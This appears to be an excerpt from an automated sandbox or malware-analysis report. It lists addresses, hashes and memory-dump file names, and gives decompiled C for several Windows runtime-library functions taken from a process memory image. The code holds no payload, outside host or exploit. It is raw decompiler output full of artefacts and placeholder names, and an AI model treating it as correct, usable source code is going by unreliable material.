0x1e45eab5
0x1e45eabc
0x1e45eabf
0x1e45eabf
0x1e45eaca
0x1e45eace
0x1e45ead0
0x1e45eae4
0x1e45eaeb
0x1e45eaf0
0x1e45eaf5
0x1e45eb09
0x1e45eb0d
0x1e45eb1d
0x1e45eb2d
0x1e45eb38
0x1e45eb3d
0x1e45eb41
0x1e45eb4a
0x1e45eb60
0x1e45eb4c
0x1e45eb52
0x1e45eb59
0x1e45eb59
0x1e45eb68
0x1e45eb71
0x1e45eb71
0x1e45ea8d
0x1e45ea8f
0x1e45ea92
0x1e45ea97
0x1e45ea97
0x1e45ea9b
0x1e45ea9c
0x1e45ea9e
0x1e45eaa6
0x1e45eaa6
0x1e45eb7e

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: ae4c266476b8c7af71d87db965deb24e7c54bbbb0e71c49da887e6dc9f013710
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: 94317076614745ABC729CF24C880A5BB7AAFFC4250F048A2EF55687745DB30E805CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1E4169A6, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E1E4169A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x1e48d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L1E3A6C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E1E416BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E1E3D9980() >= 0) {
							E1E3B2280(_t56, 0x1e488778);
							_t77 = 1;
							_t68 = 1;
							if( *0x1e488774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x1e488774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E1E39B6F0(0x1e37c338, 0x1e37c288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E1E3D9520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E1E3D95D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E1E3AFFB0(_t68, _t77, 0x1e488778);
				}
				_pop(_t78);
				return E1E3DB640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x1e4169b5
0x1e4169be
0x1e4169c3
0x1e4169c9
0x1e4169cc
0x1e4169d1
0x1e4169d3
0x1e4169de
0x1e4169e1
0x1e4169ea
0x1e4169f6
0x1e4169fe
0x1e416a13
0x1e416a14
0x1e416a15
0x1e416a16
0x1e416a1e
0x1e416a26
0x1e416a31
0x1e416a36
0x1e416a37
0x1e416a40
0x1e416a49
0x1e416a4a
0x1e416a53
0x1e416a59
0x1e416a5d
0x1e416a5e
0x1e416a64
0x1e416a67
0x1e416a6a
0x1e416a6d
0x1e416a70
0x1e416a77
0x1e416a7d
0x1e416a86
0x1e416a89
0x1e416a9c
0x1e416a9f
0x1e416aa2
0x1e416aa5
0x1e416aaf
0x1e416ab1
0x1e416ab8
0x1e416ab9
0x1e416abb
0x1e416abe
0x1e416ac5
0x1e416ac5
0x1e416aaf
0x1e416a40
0x1e416a26
0x1e4169fe
0x1e416ace
0x1e416ad0
0x1e416ad3
0x1e416ad8
0x1e416adf
0x1e416adf
0x1e416ae8
0x1e416aef
0x1e416aef
0x1e416af9
0x1e416b06

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a497243d54341a1b41c2ad79770412760b4f9e96212d22edc4a4672b9fd4c97
Instruction ID: fafc340d08641f170d4a9cada585b4317375e4a5719d448470515a877812b6d5
Opcode Fuzzy Hash: 6a497243d54341a1b41c2ad79770412760b4f9e96212d22edc4a4672b9fd4c97
Instruction Fuzzy Hash: 1D4187B1D00248AFDB14CFA4D840BEEBBF9FF88314F04866AE954AB240DB74A905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E395210, Relevance: .1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E1E395210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E1E3952A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E1E3D95D0();
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E1E3AEB70(_t54, 0x1e4879a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E1E3D95D0();
								L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E1E3AEB70(_t54, 0x1e4879a0);
						}
						return _t52;
					}
					L5:
					_t33 = E1E3DF3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E1E3AEB70(_t54, 0x1e4879a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E1E3D95D0();
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x1e395220
0x1e395224
0x1e3f0d13
0x1e3f0d16
0x1e3f0d19
0x1e39522a
0x1e39522a
0x1e39522d
0x1e39522d
0x1e395231
0x1e395235
0x1e395239
0x1e3f0d5c
0x1e3f0d62
0x00000000
0x00000000
0x1e3f0d6a
0x1e3f0d7b
0x1e3f0d7f
0x1e3f0d81
0x1e3f0d84
0x1e3f0d95
0x1e3f0d95
0x1e3f0d6c
0x1e3f0d71
0x1e3f0d71
0x1e3f0d9a
0x00000000
0x1e39524a
0x1e39524a
0x1e395250
0x1e3f0d24
0x1e3f0d35
0x1e3f0d39
0x1e3f0d3b
0x1e3f0d3e
0x1e3f0d50
0x1e3f0d50
0x1e3f0d26
0x1e3f0d2b
0x1e3f0d2b
0x00000000
0x1e3f0d55
0x1e395256
0x1e39525b
0x1e395265
0x1e3f0da7
0x1e39526b
0x1e39526e
0x1e395272
0x1e3f0db1
0x1e3f0db4
0x1e3f0dc5
0x1e3f0dc5
0x1e395272
0x1e395278
0x1e39527e
0x1e39528a
0x1e39528c
0x1e39528d
0x00000000
0x1e395280
0x1e395282
0x1e395288
0x1e39529f
0x1e395292
0x00000000
0x1e395292
0x00000000
0x1e395288
0x1e39527e

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ad9570ac6355f81bccde757b098e15c680b29c8f8b2d680b7eee129c0b860c0
Instruction ID: a83e9e53d7f4994ef2871c1ce3fb580b145c5ef63de7451c1b276c250faa648b
Opcode Fuzzy Hash: 4ad9570ac6355f81bccde757b098e15c680b29c8f8b2d680b7eee129c0b860c0
Instruction Fuzzy Hash: 4A310832111641EBC7268B5DC990F66B7BAFF40760F114B2AF4954B6E0D770F880DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CA61C, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E1E3CA61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0x1e470220);
				E1E3ED08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x1e487b9c; // 0x0
				_t55 = L1E3B4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E1E3ED0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x1e487b10 =  *0x1e487b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x1e48536c; // 0x8686c0
					if( *_t51 != 0x1e485368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x1e485368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x1e48536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E1E3CA70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}

0x1e3ca61c
0x1e3ca61e
0x1e3ca623
0x1e3ca628
0x1e3ca62b
0x1e3ca62d
0x1e3ca648
0x1e3ca64a
0x1e3ca64f
0x1e409b44
0x1e3ca6ec
0x1e3ca6f1
0x1e3ca6f1
0x1e3ca655
0x1e3ca657
0x1e3ca65a
0x1e3ca65d
0x1e3ca662
0x1e3ca663
0x1e3ca667
0x1e3ca668
0x1e3ca66d
0x1e3ca706
0x1e3ca706
0x1e409bda
0x1e409be6
0x1e409beb
0x00000000
0x1e409beb
0x1e3ca679
0x1e409b7a
0x00000000
0x1e409b7a
0x1e3ca683
0x1e3ca6f4
0x1e3ca6f7
0x1e3ca6f9
0x1e3ca6fd
0x1e3ca6a0
0x1e3ca6a0
0x1e3ca6ad
0x1e3ca6af
0x1e3ca6b4
0x1e409ba7
0x1e409bac
0x00000000
0x00000000
0x1e409bc6
0x1e409bce
0x1e409bd1
0x1e409bd3
0x1e409bd3
0x00000000
0x1e409bd1
0x1e3ca6bd
0x1e3ca6c3
0x1e3ca6c6
0x1e3ca6d2
0x1e3ca701
0x1e3ca704
0x00000000
0x1e3ca704
0x1e3ca6d4
0x1e3ca6d6
0x1e3ca6d9
0x1e3ca6db
0x1e3ca6e1
0x1e3ca6e6
0x1e3ca6e8
0x1e3ca6e8
0x1e3ca6ea
0x00000000
0x1e3ca6ea
0x1e3ca688
0x1e3ca692
0x1e3ca694
0x1e3ca699
0x00000000
0x00000000
0x1e3ca69d
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2beba553022a362ef25c0c271c70a3bfae4f10b825c00d14676eb5a09249c2a
Instruction ID: a419b296ce8ffd9c0474013f5109041f12c5e13cd5033e113dec66bb8c116417
Opcode Fuzzy Hash: f2beba553022a362ef25c0c271c70a3bfae4f10b825c00d14676eb5a09249c2a
Instruction Fuzzy Hash: D5418D79A00255DFCB05CF98C890B99BBF2BF49314F1982AAE905AB344D775ED42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D3D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3D3D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E1E3A7B60(0, _t61, 0x1e3711c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E1E3A7B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L1E3B4620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x1e3d3d4c
0x1e3d3d50
0x1e3d3d55
0x1e3d3d5e
0x1e40e79a
0x00000000
0x1e40e79a
0x1e3d3d68
0x1e40e789
0x1e3d3d9d
0x1e3d3da3
0x1e3d3daf
0x1e3d3db5
0x1e3d3dbc
0x1e3d3dc4
0x1e3d3dc9
0x1e3d3dce
0x1e40e7ae
0x1e40e7ae
0x1e3d3dde
0x1e3d3de2
0x1e3d3de7
0x1e3d3e0d
0x1e3d3e13
0x1e3d3e16
0x1e3d3e1e
0x1e3d3e25
0x1e3d3e28
0x00000000
0x00000000
0x1e3d3e2a
0x1e3d3e2f
0x1e3d3e37
0x1e3d3e37
0x00000000
0x1e3d3e37
0x1e3d3e31
0x00000000
0x1e3d3e31
0x1e3d3e20
0x1e3d3e20
0x1e3d3e35
0x00000000
0x1e3d3de9
0x1e3d3de9
0x1e3d3de9
0x1e3d3dee
0x1e3d3dfd
0x1e3d3dff
0x1e3d3e02
0x1e3d3e05
0x1e3d3e05
0x00000000
0x1e3d3df0
0x1e3d3de7
0x1e40e78f
0x1e40e794
0x1e3d3d79
0x1e3d3d84
0x1e3d3d89
0x1e3d3d8e
0x00000000
0x1e40e7a4
0x1e3d3d96
0x1e3d3d9a
0x00000000
0x1e3d3d9a
0x00000000
0x1e40e794
0x1e3d3d6e
0x1e3d3d73
0x00000000
0x1e40e7b5
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9839f488ba9ad3590045da45775ef0e17717c1ae760eba925becbbbbc80cb04
Instruction ID: b16f9e2eb1abfbe21240f85efb2a6f037994c97e4e1da68fafbbc92d4c883bd1
Opcode Fuzzy Hash: d9839f488ba9ad3590045da45775ef0e17717c1ae760eba925becbbbbc80cb04
Instruction Fuzzy Hash: 2231DE37A01651DBC7258F2AC851A6ABBFAFF95700B45827AE845CB390E734DC44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E417016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1E417016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x1e48d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E1E416B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E1E416B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E1E3B7D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E1E3D9AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E1E3DB640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L1E3B4620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x1e417016
0x1e41701e
0x1e41702b
0x1e417033
0x1e417037
0x1e41703c
0x1e41703e
0x1e417041
0x1e417045
0x1e41704a
0x1e417050
0x1e417055
0x1e41705a
0x1e417062
0x1e417062
0x1e41705a
0x1e417064
0x1e417064
0x1e417067
0x1e417071
0x1e417096
0x1e41709b
0x1e4170a2
0x1e4170a6
0x1e4170a7
0x1e4170ad
0x1e4170b3
0x1e4170b6
0x1e4170bb
0x1e4170c3
0x1e4170c3
0x1e4170c6
0x1e4170cd
0x1e4170dd
0x1e4170e0
0x1e4170e2
0x1e4170e2
0x1e4170ee
0x1e417101
0x1e4170f0
0x1e4170f9
0x1e4170f9
0x1e41710a
0x1e41710e
0x1e417112
0x1e417117
0x1e417118
0x1e417118
0x1e4170bb
0x1e41711d
0x1e417123
0x1e417131
0x1e417131
0x1e417136
0x1e41713d
0x1e41713e
0x1e41713f
0x1e41714a
0x1e41714a
0x1e417084
0x1e417088
0x00000000
0x1e41708e
0x1e41708e
0x1e417092
0x00000000
0x1e417092

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1f09f2449b88e1b53f811bbdec602dd461c283c17954bb9571f80fd4a075fc9
Instruction ID: 136fe9715e40d0520b7858860433657710d0da50fefeffd531ea6f4b0cfdfec6
Opcode Fuzzy Hash: a1f09f2449b88e1b53f811bbdec602dd461c283c17954bb9571f80fd4a075fc9
Instruction Fuzzy Hash: 9831D3766047919BC711CF28C954A6AB7EAFF89700F014B2EF8958B790E730F904C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 1E3BC182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E1E3BC182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E1E3B7D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E1E468D34(_v8, _t80);
					}
					E1E3B2280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E1E3AFFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E1E468833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E1E3AFFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E1E3DB180();
						if(_a4 != 0) {
							E1E3B2280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E1E3BBB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E1E3BBB2D(_t16, _t15);
						E1E3BB944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E1E3AFFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E1E3AFFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E1E3AFFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x1e3bc18d
0x1e3bc18f
0x1e3bc191
0x1e3bc19b
0x1e3bc1a0
0x1e3bc1d4
0x1e3bc1de
0x1e402d6e
0x1e3bc1e4
0x1e3bc1e4
0x1e3bc1e4
0x1e3bc1ec
0x1e402d7d
0x1e402d7d
0x1e3bc1f3
0x1e3bc1ff
0x1e402d88
0x1e402d8d
0x1e402d94
0x1e402d94
0x1e402d9f
0x1e402da4
0x1e402dab
0x1e402db0
0x1e402db2
0x1e402db3
0x1e402db4
0x1e402dbc
0x1e402dc3
0x1e402dc3
0x1e3bc205
0x1e3bc205
0x1e3bc208
0x1e3bc20e
0x1e3bc211
0x1e3bc216
0x1e3bc219
0x1e3bc21f
0x1e3bc222
0x1e3bc22c
0x1e3bc234
0x1e3bc23a
0x1e3bc23f
0x1e3bc245
0x1e3bc24b
0x1e3bc251
0x1e3bc25a
0x1e3bc276
0x1e3bc27d
0x1e3bc27d
0x1e3bc25c
0x1e3bc25c
0x00000000
0x1e3bc25e
0x1e3bc1a4
0x1e3bc1aa
0x1e3bc1b3
0x1e3bc265
0x1e3bc26c
0x1e3bc26c
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: a8e9a13fb86e9417c7c8eabf5c3cda04618207ea80c6889cbafbdd3e8f88cc0c
